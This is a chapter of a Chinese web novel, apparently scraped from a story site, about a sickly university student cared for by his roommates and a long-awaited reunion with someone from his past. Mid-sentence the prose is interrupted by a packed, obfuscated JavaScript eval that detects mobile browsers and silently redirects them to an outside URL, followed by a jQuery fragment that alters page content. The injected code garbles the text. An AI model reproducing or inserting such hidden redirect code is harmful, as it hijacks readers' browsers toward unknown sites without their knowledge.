69. 第68章 久别重逢
作品:《缺点:你》 付焕施不确定会是谁来找他。
他来到这所学校里已整整两年,可基本没有几个称得上相识的人。除了每周的两天假期里,付焕施偶尔会和室友们出来聚会吃饭,其余的时间里都是独自一人上课、下课。
在被室友告知楼下有人找他时才不免有些吃惊。
踩下一个又一个台阶往宿舍楼下走去时,付焕施还是不清楚怎么会有人特地来找他。
脑海中兀然浮现出几个名字,就连另一个藏在心底最深处不肯轻易触碰的名字也被他翻捡出来,却被他一一摇头否决。
毕竟对他来说,这也真的太荒谬了。
今天早晨,休息日的第一天,天刚蒙蒙亮,整个屋内被窗帘一拉昏暗又沉闷。
付焕施早早起来,就静悄悄地收拾书桌上准备下周要开讲的视频资料,是熬夜到七点也不露困的同寝室的严临陪着他一起来的。付焕施本来想拒绝,自己一个人去教室里录也可以的。
可是严临身为寝室的老大哥坚持要帮他录视频,说着就抓过桌上的钥匙推着他出门。付焕施也不好再推辞下去,二人便结伴下楼。
清晨的校园里,暖阳半升,仰头能望到的晨曦间,隐约里还能听到春天草地里的鸟雀呼晴。不燥微风拂过脸颊,抚平他昨晚难以入睡而聚敛的一身疲惫。
篮球场中心只有寥寥几人,他们穿着背心短裤不怕春风冻似地打着篮球,啪嗒啪嗒拍在地上的声音也吸引付焕施悄悄看了过去。
似乎是想到了某些事,目光停留在篮球场某个角落过于久了些。疾驰而过的岁月念旧情地在他眼中停留,可也仅仅短短几秒钟的时间,就经过四季轮转无情驶过,霎那间了无痕迹。他不敢再往深处揪出引他留恋的往事回忆,与那列载着一幕幕难忘记忆的齿轮都得了趣地往各自的方向潜去。
回忆早已经破碎,化为虚云浮空。
付焕施匆匆移开视线,迎着头顶温暖的旭光。吐息间,闻见了初春里沿途两道旁含苞欲放也要散发香气的玉兰花。
付焕施和严临找了一间没有学生学习的空教室,就开始着手准备接下来的任务。
“小付,你可真倒霉。你是不知道那天老吕上课用电脑抽签的时候吓得我一个激灵,整得我都不敢说话了。”
严临帮他把电脑和白板打开,想起星期三上午时的智能抽签还是忍不住浑身打哆嗦。
“结果就这还搞得我后半堂课都睡不着觉,生怕她看我不顺眼再添个人。”
“该说不说,我好运加成杠杠的。幸亏最后没轮到我。”
严临试以安慰地拍拍付焕施的肩膀。
“别怕,顶多被老吕当着100多人面前批评几句而已,坚持挺挺就过去了。”
教授他们语文教学法这节课程的吕老师是学院里出了名的严厉。据上一届的学长学姐们说,如若哪位同学讲得非常不可观甚至可以算得上一塌糊涂,她就会作长篇大论来犀利评析,甚至还要随意点上几位同学同她一起,那种谄媚人的好话自然会无情地被那位老师舍弃,在她的课堂上都得必须说真话,还要客观加主观分析那位同学讲的内容如何,这已经成为了他们每周都要经历一遍的苦日子。一个小时的课堂里有四分之三的时间都在训导。
升上大二的他们不幸被发配到了这位号称“绝命毒师”教授的课程。
严临他们一度认为是上学期没有去寺庙祈福的原因。
付焕施苦笑,叹了口气。
自己的运气向来是最差的。
一切准备就绪后,严临就拿走付焕施的手机开始帮他录视频。当他们录完视频后,严临看时间才刚过九点,饿了整夜的肚子早就不争气地咕咕响了起来,急需早餐补给的严临便邀请付焕施和他一起去餐厅吃早饭。
付焕施消耗了太久体力这时也有了些饿意,便欣然答应,他们就收拾好东西往西餐厅奔去。不成想刚走到餐厅后门口时,付焕施肚子就泛起了疼,细细密密的,抓挠着他的神经。他想起可能是昨晚没吃药就上床睡觉的缘故,只能和严临解释了一番才匆匆离开。
严临也知道付焕施的身体不好,只好让他回去的路上慢点。
大一刚开学时,入校的新生都要组织军训。刚开始的第一周正好赶上雨期,下完雨后的天气是潮湿燥热的,就算这样他们也都是风雨无阻地跟着教官训练。
为期两周的训练过程中,作为寝室长的严临不下三次都被别队的教官喊过去帮忙,第一次被告知付焕施站军姿突然晕倒时,严临还有些嗤笑。他不是不知道自己寝室里有个身体瘦弱的男生,戏谑地想着哪会有男生会虚成这样。可刚跑过去的他一看到躺在地上的那个脸色苍白,浑身颤抖的男生就不由得感到抱歉和莫名愧疚,连忙背起他就往医务室跑去。
严临将他送到医务室,校医检查结束后告诉他。
“这位同学我看他得病有一年多了啊……可能这几天没有赶得上吃药,而且天气也不是很好,所以才导致成这样。他气虚体弱,让你们的教官不要给他安排做些高体力的训练。回去后记得让他多喝点白粥,吃点清淡的。平常的时候也可以带他多走走,看看学校风景……
“总之叮嘱他不要再忘记吃药了,他的病情有点特殊,药是不能停的。”
校医给躺在床上还处于昏迷中的付焕施打上一瓶吊瓶,弄完后还不忘提醒严临一句。
“还有,一定要让他注意保持情绪稳定。”
严临听后还有些纳闷,从认识以来,付焕施在寝室里说话都是温声软语的,就连下床学习也是安安静静从不打扰人。
最后校医便让严临守着他。严临就老老实实地坐在旁边的板凳上等着付焕施醒过来,看着床上脸色稍稍恢复了些红润的男生。恍惚之间,严临想起刚背上付焕施的那一刹那,自己是有些惊讶的。
实在是太轻了,难以想象出的重量。
轻飘飘的。
就像是……
像是……
就像是背着一朵软绵绵的云。如果恰巧有阵风吹过,雨打来,可能他就会从脊背上散去、坠落,碎成一地瓦砾,不见了影。
一来二回间的照顾,严临与付焕施也算是相熟了许多。严临偶然在和他交谈时,才得知付焕施是从一座以前从未听说过的小城镇里过来的。
想起刚开学时,高中走读的严临第一次住多人宿舍,兴高采烈地接过学长分配给他的宿舍门牌号和钥匙就急匆匆地往宿舍楼里跑去,想要占一个好床位。开门进去时的他只看到付焕施独自一人在里面,脚边只放着一个孤零零的行李箱,正默默收拾着东西。
家住这个城市,离大学城也不算远的严临这次开学还是拜托他大哥开车陪他一起过来的,毕竟那么多行李寄放在楼下,他可不想一个人跑上跑下累成狗。可他从头到尾都没有见到付焕施的家长出现过。
见到他的初印象就是太瘦了,即使当时面对他的只是一个背影。初秋时分的温度暖煦熏人,就算穿着单薄卫衣,不经意观察着的严临也能在他弯下腰时窥得到布料下显露的骨头,一块一块的骺骨崎岖横生在他的脊背中央,像是朽木衔接成形时刻会被碾碎,破裂。
想着这么瘦的人怎么每次吃饭都吃那么一点儿,严临心里奇异地为他感到心疼。
付焕施赶回到寝室后,室友们已经相继起床洗漱去了。他捂着疼痛难忍的肚腹处,开始打开桌子两边的抽屉里四处扒拉着要找药。那瓶药还没有拆封,被他从深处挖了出来,他全身开始不可控制地用颤抖的手撕开外面的包装,只这两下动作就让他浑身无力地用仅剩的力量倒下两枚药片就着桌边倒好的凉白开喝下。
吃完药后,付焕施才跌进座椅里缓缓喘气,像是从深水里探出头用力呼吸的求救者。
视野里的事物从模糊迷离渐渐转为清晰,付焕施垂目闭眼休息了大概几分钟过后,才稍微恢复了些力气。他抬手拂掉额头上因为疼痛带来的些微冒出的冷汗。
屋内宁静,窗帘还未拉开接受阳光的洗礼,整间屋内如同置身于深暗的巢穴。付焕施傍身在桌椅之间,突如其来的枯寂翻涌成巨浪潮流,在他习惯性的冥想当中猛烈扑来。
像是离群索居的鸟儿被困在峭壁,下面是万丈深渊,向上是看不到的露空,就这样独自停留,直到永远。
不知道从什么时候开始,过去抹不掉的记忆总在深夜里如同梦魇一般缠绕着他全身,近乎折磨似的让他难以入睡。
闭下眼,脑海中积压许久的思绪山崩海啸般地向他喷涌袭来。快要溺死在那些梦境拼成的深海中,残酷地让他无法忘却。
耳边吵哄哄的闹铃声唤醒了他还伴有耳鸣的听觉,睁开眼睛,定睛一看,白花花的天花板引入眼帘。付焕施快要混淆了他现在身在何处,只能拿起手机看下日期来确定他的时间。
2017年3月20日
农历二月廿三 春分
星期一
09:52 A.M.
没完没了的回忆却在这一刻统统冲进了他脑海里让他不敢轻易去回想,变得愈发胆小。
啜泣的心脏在来临的夜晚时才堪堪伴随着不轻易示人的懦弱发出,抑制不住的渴盼强烈肆虐着他的躯壳。
心脏,耳朵,眼睛……到处都余留着渴求。
无声无息,相伴相久。
那里有他无比珍藏却不敢翻开的眷恋。
他却只有在腐烂的梦里才能想念。
这个如同暗夜的深海里的世界,片刻间让他短暂地将孤独安放。直到清晨来临,付焕施从梦中醒过来。
眼睛疼涩,肿胀,难以消除。
09:59 A.M.
世界静穆。
付焕施揩去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972257|161332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼角下的残痕,揉了揉还带有微弱痛感的腹部。等到彻底好了后才从桌兜里拿出一包面包慢吞吞地啃了起来。
还是那么难以下咽。
“儿子们!还不快出来迎接爸爸!”
这时,严临手提四五兜包子和粥推门进来。
“哎,小付,他们人呢?”
付焕施在和他说明时,几个闻室友正好也全部洗漱回来。相继从他身后挤进寝室里,忙接过来他手里的大包子。
“这么好啊,不愧是我们的好儿子,懂得孝敬爸爸了。”
胡天昊接过去后也不忘对他扯皮。
严临直接一脚踢过去,却被他无赖地闪躲开。
“小付,这个是你的,就当我请客了。”
严临分完也不忘留下付焕施的那份,走过去递给他。
“谢谢。”
付焕施早已经习惯了室友们的日常投喂,变得也不再有刚开始的推辞和不好意思,接过那还热腾腾的豆浆和包子。
“甭和我客气。”
吃过早饭后,室友们便都躺在床上玩着手机。付焕施只是坐在桌子前翻阅着手中刚买的课外书打发时间。
“诶,我说,楼下怎么这么热闹?”
胡天昊干净劲来了,他端着洗衣盆站在阳台上往外看去。
“谁知道呢?程睿哲昨天上课前不是说‘春之颂’要开始了吗?可能其他学校来参观吧。”
另一个室友杨楷瑞抽空回了他一句。
“是吗?”
胡天昊也不再看,端着洗衣盆出了寝室。
不过一会儿的时间,胡天昊便又开门进来,嘴里还在吐槽。
“我的天老嘞,楼下原来是有人在排练,去哪排练不行啊,非得占那个晾衣杆的地方,搞得我都不好意思晾衣服了。”
说完就直接平躺床上,对面的付焕施还在看书。
“欸,对了,小付。刚才我准备上来的时候,好像有人在找你。”
胡天昊就说刚才想说什么来着。
“……找我?”
付焕施有些疑惑,转过头迷茫。
“他就说我认不认识付焕施,你说巧不巧,我正好认识,还碰巧是一个宿舍的。”
胡天昊又想起刚才那人的模样。
“但是我在学校里也没见过这一号人啊,长得那么帅,应该对他有印象来着。”
“你这什么颜控?”
严临回怼。
“不是,我是说真的,你别不信,你要是亲眼看见他也得抽一口气。我一个男的看了都觉得这男生长得是真他×的帅,简直突破天际了。就刚刚他和我说话时候,我都觉得太刺眼。
“很惭愧,在他面前,我只能勉强往后捎,退居第二了。”
胡天昊唉声叹气。
其他室友听了都噫吁嚱。
“……那我下去看看。”
付焕施合上书,绞尽脑汁也想不出他口中提到的男生是谁。
付焕施不知道会是谁来找他,他缓缓下楼,一步台阶,一步台阶地往下走。
当他从寝室楼里出来时,他四处张望,眼前并没有发现让他有印象的人。
想着可能胡天昊误以为是自己的名字,毕竟学校太大了,五湖四海的人人都在,同名同姓的人自然也有很多。
付焕施收回视线就打算转身回去。
“小施。”
一道轻轻的呼唤从身后传来,朦胧缥缈的声音快淹没在人声的嘈杂里。再听去,已抓不住那道话音发出的源头。
就这短短的一句,却让他竟硬生生地定在原地,半步都不再挪动。
仿佛宇宙堙灭流逝了三万光年,可那一声呼唤将散为无数光粒的他聚拢起,汇聚成曾经的模样。
再去听,他的心脏还是不可自拔地为那人唤他时带有的温柔婉转的语气而心动。
似是穿过了那年的盛夏与寒冬,春日里的梧桐树枝叶繁茂,挡住了天际照耀的太阳,明亮灿烂地射中了他的心魂。摇过树影之间,微风轻轻拂过他的脸颊,像是落下了一个不轻不重的吻。
刹那间,付焕施觉着岁月如此漫长,心底隐秘的悸动还是被往日的醉里情思连根揪出。
坦荡在他面前。
像是做了场场永不会察觉的幻觉,占有他梦境里的人又重新出现在了他的眼前,模糊的身影却又这般的具象。
慢慢地,慢慢地,在他眼中化作了清晰相片。
付焕施站在树与光的隙影下,迟迟不敢正视那人望向他的目光。
眸光流转,情意连绵。
那深夜梦寐不敢相见的少年,从狼狈的梦里走了出来。
他再不敢说出口的牵挂,与渴望。
趟出了那片深海。
抖落满身污泥淤痕。
向着他奔来。